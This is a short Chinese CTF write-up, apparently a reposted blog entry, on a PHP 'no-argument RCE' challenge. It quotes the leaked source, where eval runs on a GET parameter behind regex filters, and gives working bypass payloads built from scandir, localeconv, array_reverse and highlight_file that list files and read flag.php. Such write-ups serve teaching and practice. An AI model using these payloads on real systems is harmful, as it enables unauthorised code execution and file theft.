本文共 1346 字,大约阅读时间需要 4 分钟。
这个题目主要是无参数RCE,看到题目人都傻了,看了一下大佬的博客差不多懂了。
首先用御剑扫一下,得到了Git泄露的线索。git一下得到源码:
";if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); }}// highlight_file(__FILE__);?>
首先是 isset($_GET['exp'])
判空,所不为空则执行下面的语句。
然后是if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
接着是if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
最后是if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
然后执行一下eval得到flag。
首先利用scandir(.)
函数得到当前目录下的文件并用print_r()
函数输出。localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
?exp=print_r(scandir(pos(localeconv())));
然后利用array_reverse()
函数将数组逆序,并利用highlight_file()
函数进行高亮。
?exp=print_r(next(array_reverse(scandir(pos(localeconv()))))); #得到flag.php?exp=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); #得到flag
转载地址:http://expbi.baihongyu.com/